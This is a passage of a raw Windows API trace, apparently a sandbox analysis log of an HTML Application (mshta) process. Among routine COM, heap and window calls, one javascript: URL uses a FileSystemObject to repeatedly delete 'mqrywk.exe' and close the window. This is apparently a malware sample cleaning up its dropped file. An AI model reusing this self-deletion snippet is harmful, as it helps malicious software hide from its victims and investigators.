dwReserved=0xff, pib=0x795508) returned 0x0 [0030.527] IUnknown:AddRef (This=0x795508) returned 0x2 [0030.527] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.527] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f2b0 | out: ppvObject=0x40f2b0*=0x0) returned 0x80004002 [0030.527] IServiceProvider:QueryService (in: This=0x7934ac, guidService=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f2b0 | out: ppvObject=0x40f2b0*=0x0) returned 0x80004002 [0030.527] GetCurrentThreadId () returned 0x10c [0030.528] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40f2c0 | out: ppv=0x40f2c0*=0x73888d20) returned 0x0 [0030.528] IClassFactory:CreateInstance (in: This=0x73888d20, pUnkOuter=0x795670, riid=0x7505482c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x795694 | out: ppvObject=0x795694*=0x7943c8) returned 0x0 [0030.529] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x98) returned 0x7943c8 [0030.529] IUnknown_QueryService (in: punk=0x795670, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvOut=0x40f2f0 | out: ppvOut=0x40f2f0*=0x7853b4) returned 0x0 [0030.529] IUnknown:QueryInterface (in: This=0x7934a8, riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x40f198 | out: ppvObject=0x40f198*=0x0) returned 0x80004002 [0030.529] IServiceProvider:QueryService (in: This=0x7934ac, guidService=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), riid=0x7352b940*(Data1=0x332c4427, Data2=0x26cb, Data3=0x11d0, Data4=([0]=0xb4, [1]=0x83, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd9, [6]=0x1, [7]=0x19)), ppvObject=0x40f198 | out: ppvObject=0x40f198*=0x7853b4) returned 0x0 [0030.529] GetCurrentThreadId () returned 0x10c [0030.533] IUnknown:QueryInterface (in: This=0x7943c8, riid=0x750546b8*(Data1=0x79eac9e4, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x7956f8 | out: ppvObject=0x7956f8*=0x7943dc) returned 0x0 [0030.533] IUnknown:AddRef (This=0x795670) returned 0x7 [0030.533] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.533] IUnknown:Release (This=0x7943dc) returned 0x6 [0030.533] IUnknown:Release (This=0x795670) returned 0x6 [0030.534] IUnknown:AddRef (This=0x7943dc) returned 0x7 [0030.534] IUnknown:AddRef (This=0x795670) returned 0x7 [0030.534] IUnknown:Release (This=0x7943dc) returned 0x6 [0030.534] IUnknown:Release (This=0x795670) returned 0x6 [0030.534] IUnknown:QueryInterface (in: This=0x7943dc, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f39c | out: ppvObject=0x40f39c*=0x795680) returned 0x0 [0030.534] IUnknown:QueryInterface (in: This=0x795670, riid=0x75066b10*(Data1=0x79eac9eb, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40f39c | out: ppvObject=0x40f39c*=0x795680) returned 0x0 [0030.534] IUnknown:QueryInterface (in: This=0x7943c8, riid=0x75066b00*(Data1=0xc7a98e66, Data2=0x1010, Data3=0x492c, Data4=([0]=0xa1, [1]=0xc8, [2]=0xc8, [3]=0x9, [4]=0xe1, [5]=0xf7, [6]=0x59, [7]=0x5)), ppvObject=0x40f3a8 | out: ppvObject=0x40f3a8*=0x0) returned 0x80004002 [0030.541] IUnknown:AddRef (This=0x795670) returned 0x8 [0030.542] CoInternetParseUrl (in: pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=0x13, dwFlags=0x0, pszResult=0x40d368, cchResult=0x1000, pcchResult=0x40d350, dwReserved=0x0 | out: pszResult="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", pcchResult=0x40d350) returned 0x0 [0030.542] DllGetClassObject (in: rclsid=0x7819f4*(Data1=0x3050f3b2, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), riid=0x75054430*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x40d1e4 | out: ppv=0x40d1e4*=0x73888d20) returned 0x0 [0030.543] IUnknown:QueryInterface (in: This=0x73888d20, riid=0x7507aadc*(Data1=0x79eac9ec, Data2=0xbaf9, Data3=0x11ce, Data4=([0]=0x8c, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0xa9, [7]=0xb)), ppvObject=0x40d2d0 | out: ppvObject=0x40d2d0*=0x73888d2c) returned 0x0 [0030.544] IUnknown:Release (This=0x73888d20) returned 0x1 [0030.544] IInternetProtocolInfo:ParseUrl (in: This=0x73888d2c, pwzUrl="javascript:o=new ActiveXObject('Scripting.FileSystemObject');setInterval(function(){try{o.DeleteFile('mqrywk.exe');close()}catch(e){}},10);", ParseAction=19, dwParseFlags=0x0, pwzResult=0x40d368, cchResult=0x1000, pcchResult=0x40d350, dwReserved=0x0 | out: pwzResult="푔@", pcchResult=0x40d350*=0x40d454) returned 0x800c0011 [0030.544] IUnknown:Release (This=0x73888d2c) returned 0x1 [0030.544] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x11c) returned 0x794c70 [0030.546] IUnknown:Release (This=0x790840) returned 0x2 [0030.546] IUnknown:Release (This=0x77c6ac) returned 0x17 [0030.546] IUnknown:Release (This=0x77c6ac) returned 0x16 [0030.546] IUnknown:Release (This=0x77c6ac) returned 0x15 [0030.546] CoTaskMemFree (pv=0x0) [0030.546] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x1a8) returned 0x794d98 [0030.546] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x40f7e8 | out: lpCPInfo=0x40f7e8) returned 1 [0030.546] IUnknown:AddRef (This=0x77f8c8) returned 0x3 [0030.546] IUnknown:AddRef (This=0x77c6ac) returned 0x16 [0030.546] IUnknown:QueryInterface (in: This=0x77c6ac, riid=0x7350d6e8*(Data1=0x50295b0c, Data2=0x6b79, Data3=0x4935, Data4=([0]=0xae, [1]=0xd8, [2]=0x5, [3]=0xd8, [4]=0xe, [5]=0xc8, [6]=0x6a, [7]=0x60)), ppvObject=0x40f7f0 | out: ppvObject=0x40f7f0*=0x77c6ac) returned 0x0 [0030.546] IUnknown:Release (This=0x77c6ac) returned 0x16 [0030.546] IUnknown:AddRef (This=0x77c6ac) returned 0x17 [0030.546] IUri:GetScheme (in: This=0x77c6ac, pdwScheme=0x40f7f4 | out: pdwScheme=0x40f7f4*=0xf) returned 0x0 [0030.546] IUnknown:Release (This=0x77f8c8) returned 0x2 [0030.546] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x58) returned 0x799a90 [0030.546] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x17c [0030.546] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x7347e718, lpParameter=0x799a90, dwCreationFlags=0x0, lpThreadId=0x799aa4 | out: lpThreadId=0x799aa4*=0x24c) returned 0x15c [0030.548] GetCurrentThreadId () returned 0x10c [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x16 [0030.548] IUnknown:Release (This=0x77c424) returned 0x3 [0030.548] IUnknown:Release (This=0x77ad18) returned 0x3 [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x15 [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x14 [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x13 [0030.548] IUnknown:Release (This=0x77ad18) returned 0x2 [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x12 [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] CoTaskMemFree (pv=0x791b60) [0030.548] CoTaskMemFree (pv=0x0) [0030.548] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.548] IUnknown:Release (This=0x77c6ac) returned 0x11 [0030.548] CoTaskMemFree (pv=0x791a40) [0030.548] GetClientRect (in: hWnd=0x30270, lpRect=0x40fd0c | out: lpRect=0x40fd0c) returned 1 [0030.549] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x78) returned 0x761b38 [0030.549] GetClientRect (in: hWnd=0x30270, lpRect=0x761b64 | out: lpRect=0x761b64) returned 1 [0030.549] OffsetRect (in: lprc=0x761b64, dx=0, dy=0 | out: lprc=0x761b64) returned 1 [0030.549] OffsetRect (in: lprc=0x761b74, dx=0, dy=0 | out: lprc=0x761b74) returned 1 [0030.549] RegisterClassExW (param_1=0x40f828) returned 0xc096 [0030.549] CoCreateInstance (in: rclsid=0x7349bf70*(Data1=0x50d5107a, Data2=0xd278, Data3=0x4871, Data4=([0]=0x89, [1]=0x89, [2]=0xf4, [3]=0xce, [4]=0xaa, [5]=0xf5, [6]=0x9c, [7]=0xfc)), pUnkOuter=0x0, dwClsContext=0x401, riid=0x7349bf60*(Data1=0x8c0e040, Data2=0x62d1, Data3=0x11d1, Data4=([0]=0x93, [1]=0x26, [2]=0x0, [3]=0x60, [4]=0xb0, [5]=0x67, [6]=0xb8, [7]=0x6e)), ppv=0x7388b020 | out: ppv=0x7388b020*=0x79a170) returned 0x0 [0030.682] CActiveIMMAppEx_Trident:IActiveIMMApp:FilterClientWindows (This=0x79a170, aaClassList=0x40f920*=0xc096, uSize=0x1) returned 0x0 [0030.682] CreateWindowExW (dwExStyle=0x0, lpClassName=0xc096, lpWindowName=0x0, dwStyle=0x46000000, X=0, Y=0, nWidth=1064, nHeight=587, hWndParent=0x30270, hMenu=0x0, hInstance=0x73350000, lpParam=0x783f90) returned 0x30266 [0030.682] GetWindowLongW (hWnd=0x30266, nIndex=-20) returned 0 [0030.682] SetWindowLongW (hWnd=0x30266, nIndex=-21, dwNewLong=7880592) returned 0 [0030.682] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x81, wParam=0x0, lParam=0x40f4f4*=7880592, plResult=0x40f36c | out: plResult=0x40f36c) returned 0x1 [0030.682] NtdllDefWindowProc_W () returned 0x1 [0030.682] GetCurrentThreadId () returned 0x10c [0030.682] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.682] GetCurrentThreadId () returned 0x10c [0030.682] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.682] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x1, wParam=0x0, lParam=0x40f4f4*=7880592, plResult=0x40f36c | out: plResult=0x40f36c) returned 0x1 [0030.682] NtdllDefWindowProc_W () returned 0x0 [0030.682] GetCurrentThreadId () returned 0x10c [0030.683] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.683] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x5, wParam=0x0, lParam=0x24b0428, plResult=0x40f3b8 | out: plResult=0x40f3b8) returned 0x1 [0030.683] NtdllDefWindowProc_W () returned 0x0 [0030.683] GetCurrentThreadId () returned 0x10c [0030.683] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.683] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x3, wParam=0x0, lParam=0x0, plResult=0x40f3b8 | out: plResult=0x40f3b8) returned 0x1 [0030.683] NtdllDefWindowProc_W () returned 0x0 [0030.683] GetCurrentThreadId () returned 0x10c [0030.683] NtdllDefWindowProc_W () returned 0x0 [0030.683] GetClassNameW (in: hWnd=0x30270, lpClassName=0x40f928, nMaxCount=256 | out: lpClassName="HTML Application Host Window Class") returned 34 [0030.683] StrCmpIW (psz1="HTML Application Host Window Class", psz2="HTMLPageDesignerWndClass") returned -1 [0030.683] CActiveIMMAppEx_Trident:IActiveIMMApp:Activate (This=0x79a170, fRestoreLayout=1) returned 0x0 [0030.683] SendMessageW (hWnd=0x30266, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3 [0030.683] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.683] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x129, wParam=0x0, lParam=0x0, plResult=0x40f7dc | out: plResult=0x40f7dc) returned 0x1 [0030.683] NtdllDefWindowProc_W () returned 0x3 [0030.683] GetCurrentThreadId () returned 0x10c [0030.683] IntersectRect (in: lprcDst=0x40fb5c, lprcSrc1=0x761b64, lprcSrc2=0x761b74 | out: lprcDst=0x40fb5c) returned 1 [0030.683] EqualRect (lprc1=0x40fb5c, lprc2=0x761b64) returned 1 [0030.683] InvalidateRect (hWnd=0x30266, lpRect=0x0, bErase=1) returned 1 [0030.683] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0xf0) returned 0x799af0 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x150) returned 0x79ad58 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x140) returned 0x79aeb0 [0030.684] IntersectRect (in: lprcDst=0x40fa48, lprcSrc1=0x40fa48, lprcSrc2=0x40f9e0 | out: lprcDst=0x40fa48) returned 1 [0030.684] IntersectRect (in: lprcDst=0x40fa48, lprcSrc1=0x40fa48, lprcSrc2=0x40f9e0 | out: lprcDst=0x40fa48) returned 1 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x60) returned 0x799be8 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x30) returned 0x76da70 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0xec) returned 0x79aff8 [0030.684] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.684] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x76daa8 [0030.684] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x78cd88 [0030.686] GetCurrentThreadId () returned 0x10c [0030.686] GetCurrentThreadId () returned 0x10c [0030.686] GetCurrentThreadId () returned 0x10c [0030.686] IntersectRect (in: lprcDst=0x40f884, lprcSrc1=0x40f884, lprcSrc2=0x40f854 | out: lprcDst=0x40f884) returned 1 [0030.686] IntersectRect (in: lprcDst=0x79af10, lprcSrc1=0x79af10, lprcSrc2=0x40f874 | out: lprcDst=0x79af10) returned 1 [0030.686] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x0 | out: hHeap=0x750000) returned 1 [0030.688] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x7936c8 [0030.688] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7936c8 | out: hHeap=0x750000) returned 1 [0030.688] SetWindowPos (hWnd=0x30266, hWndInsertAfter=0x0, X=0, Y=0, cx=0, cy=0, uFlags=0x5f) returned 1 [0030.688] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.689] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x46, wParam=0x0, lParam=0x40fb3c*=197222, plResult=0x40f9d8 | out: plResult=0x40f9d8) returned 0x1 [0030.689] NtdllDefWindowProc_W () returned 0x0 [0030.689] GetCurrentThreadId () returned 0x10c [0030.689] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.689] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x47, wParam=0x0, lParam=0x40fb3c*=197222, plResult=0x40f9d4 | out: plResult=0x40f9d4) returned 0x1 [0030.689] NtdllDefWindowProc_W () returned 0x0 [0030.689] GetCurrentThreadId () returned 0x10c [0030.689] SetTimer (hWnd=0x30266, nIDEvent=0x1000, uElapse=0x64, lpTimerFunc=0x0) returned 0x1000 [0030.689] GetFocus () returned 0x0 [0030.689] EnumChildWindows (hWndParent=0x30266, lpEnumFunc=0x73670a73, lParam=0x40fa34) returned 0 [0030.697] GetFocus () returned 0x0 [0030.697] SetFocus (hWnd=0x30266) returned 0x0 [0030.698] NtdllDefWindowProc_W () returned 0x0 [0030.698] NtdllDefWindowProc_W () returned 0x0 [0030.698] NtdllDefWindowProc_W () returned 0x0 [0030.698] NtdllDefWindowProc_W () returned 0x0 [0030.699] NtdllDefWindowProc_W () returned 0x0 [0030.699] NtdllDefWindowProc_W () returned 0x0 [0030.699] NtdllDefWindowProc_W () returned 0x0 [0030.699] NtdllDefWindowProc_W () returned 0x0 [0030.700] NtdllDefWindowProc_W () returned 0x0 [0030.700] NtdllDefWindowProc_W () returned 0x0 [0030.700] NtdllDefWindowProc_W () returned 0x1 [0030.700] NtdllDefWindowProc_W () returned 0x0 [0030.701] NtdllDefWindowProc_W () returned 0x0 [0030.718] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0030.718] LoadLibraryA (lpLibFileName="OLEACC.DLL") returned 0x74210000 [0030.975] GetProcAddress (hModule=0x74210000, lpProcName="LresultFromObject") returned 0x74212663 [0030.975] LresultFromObject () returned 0xc13f [0031.317] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x14) returned 0x7ac490 [0031.318] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x793818 [0031.522] GetCurrentThreadId () returned 0x10c [0031.523] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7ac490 | out: hHeap=0x750000) returned 1 [0031.524] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x60) returned 0x7a1730 [0031.524] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7ac490 [0031.524] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79dcb0 [0031.524] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1730 | out: hHeap=0x750000) returned 1 [0031.525] IUnknown:QueryInterface (in: This=0x785504, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x40f2e8 | out: ppvObject=0x40f2e8*=0x7a1730) returned 0x0 [0031.525] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x60) returned 0x7a1730 [0031.525] IConnectionPointContainer:FindConnectionPoint (in: This=0x7a1730, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x40f300 | out: ppCP=0x40f300*=0x7a1758) returned 0x0 [0031.525] IConnectionPoint:Advise (in: This=0x7a1758, pUnkSink=0x7a2b48, pdwCookie=0x7a2b60 | out: pdwCookie=0x7a2b60*=0x7a2b48) returned 0x0 [0031.525] IUnknown:QueryInterface (in: This=0x7a2b48, riid=0x7335a638*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppvObject=0x40f2a4 | out: ppvObject=0x40f2a4*=0x7a2b48) returned 0x0 [0031.526] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x14) returned 0x7ac4d0 [0031.526] IUnknown:AddRef (This=0x7a2b48) returned 0x3 [0031.526] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x40) returned 0x79dcf8 [0031.526] IUnknown:Release (This=0x7a2b48) returned 0x2 [0031.526] IUnknown:Release (This=0x7a1758) returned 0x0 [0031.526] IUnknown:Release (This=0x7a1730) returned 0x0 [0031.526] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1730 | out: hHeap=0x750000) returned 1 [0031.526] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x7938a8 [0031.526] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x48) returned 0x79f8a0 [0031.526] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0031.527] GetMessageTime () returned 0 [0031.527] GetMessagePos () returned 0x0 [0031.527] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x281, wParam=0x1, lParam=0xc000000f, plResult=0x40f3fc | out: plResult=0x40f3fc) returned 0x0 [0031.528] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0031.528] GetMessageTime () returned 0 [0031.529] GetMessagePos () returned 0x0 [0031.529] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x282, wParam=0x2, lParam=0x0, plResult=0x40ee2c | out: plResult=0x40ee2c) returned 0x0 [0031.529] GetCurrentThreadId () returned 0x10c [0031.529] GetCurrentThreadId () returned 0x10c [0031.529] GetWindowLongW (hWnd=0x30266, nIndex=-21) returned 7880592 [0031.529] GetMessageTime () returned 0 [0031.529] GetMessagePos () returned 0x0 [0031.529] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f5b0 | out: lpPoint=0x40f5b0) returned 1 [0031.530] ScreenToClient (in: hWnd=0x30266, lpPoint=0x40f5b0 | out: lpPoint=0x40f5b0) returned 1 [0031.530] GetCapture () returned 0x0 [0031.530] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x30) returned 0x79ce78 [0031.530] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x28) returned 0x7938d8 [0031.530] IUnknown:AddRef (This=0x7a2b48) returned 0x5 [0031.530] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x0, Size=0x10) returned 0x7a64c8 [0031.530] HTMLWindowEvents2:onresize (This=0x7a2b48, pEvtObj=0x418) [0031.530] IUnknown:Release (This=0x7a2b48) returned 0x4 [0031.530] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a64c8 | out: hHeap=0x750000) returned 1 [0031.530] GetCurrentThreadId () returned 0x10c [0031.530] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x79ce78 | out: hHeap=0x750000) returned 1 [0031.530] GetCurrentThreadId () returned 0x10c [0031.530] GetCurrentThreadId () returned 0x10c [0031.531] CActiveIMMAppEx_Trident:IActiveIMMApp:OnDefWindowProc (in: This=0x79a170, hWnd=0x30266, msg=0x7, wParam=0x0, lParam=0x0, plResult=0x40f7ec | out: plResult=0x40f7ec) returned 0x1 [0031.531] NtdllDefWindowProc_W () returned 0x0 [0031.531] GetCurrentThreadId () returned 0x10c [0031.531] CActiveIMMAppEx_Trident:IActiveIMMApp:getContext (in: This=0x79a170, hWnd=0x30266, phIMC=0x40fb14 | out: phIMC=0x40fb14*=0x110173) returned 0x0 [0031.531] CActiveIMMAppEx_Trident:IActiveIMMApp:AssociateContext (in: This=0x79a170, hWnd=0x30266, hIME=0x0, phPrev=0x40fb14 | out: phPrev=0x40fb14*=0x110173) returned 0x0 [0031.531] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x60) returned 0x7a1730 [0031.531] IConnectionPointContainer:FindConnectionPoint (in: This=0x7a1730, riid=0x74f021c8*(Data1=0x3050f613, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x40f984 | out: ppCP=0x40f984*=0x7a1750) returned 0x0 [0031.531] IConnectionPoint:Unadvise (This=0x7a1750, dwCookie=0x7a2b48) returned 0x0 [0031.531] IUnknown:AddRef (This=0x7a2b48) returned 0x5 [0031.531] IUnknown:Release (This=0x7a2b48) returned 0x4 [0031.531] IUnknown:Release (This=0x7a2b48) returned 0x3 [0031.531] IUnknown:Release (This=0x7a1750) returned 0x0 [0031.531] IUnknown:Release (This=0x7a1730) returned 0x0 [0031.531] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1730 | out: hHeap=0x750000) returned 1 [0031.531] IUnknown:QueryInterface (in: This=0x785504, riid=0x74f021d8*(Data1=0xb196b284, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x40f97c | out: ppvObject=0x40f97c*=0x7a1730) returned 0x0 [0031.531] RtlAllocateHeap (HeapHandle=0x750000, Flags=0x8, Size=0x60) returned 0x7a1730 [0031.531] IConnectionPointContainer:FindConnectionPoint (in: This=0x7a1730, riid=0x74f021b8*(Data1=0x3050f625, Data2=0x98b5, Data3=0x11cf, Data4=([0]=0xbb, [1]=0x82, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xbd, [6]=0xce, [7]=0xb)), ppCP=0x40f980 | out: ppCP=0x40f980*=0x7a1758) returned 0x0 [0031.531] IConnectionPoint:Unadvise (This=0x7a1758, dwCookie=0x7a2b48) returned 0x0 [0031.532] IUnknown:AddRef (This=0x7a2b48) returned 0x4 [0031.532] IUnknown:Release (This=0x7a2b48) returned 0x3 [0031.532] IUnknown:Release (This=0x7a2b48) returned 0x2 [0031.532] IUnknown:Release (This=0x7a1758) returned 0x0 [0031.532] IUnknown:Release (This=0x7a1730) returned 0x0 [0031.532] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7a1730 | out: hHeap=0x750000) returned 1 [0031.532] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7938d8 | out: hHeap=0x750000) returned 1 [0031.532] IUnknown:Release (This=0x785504) returned 0x3 [0031.532] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x7938a8 | out: hHeap=0x750000) returned 1 [0031.532] 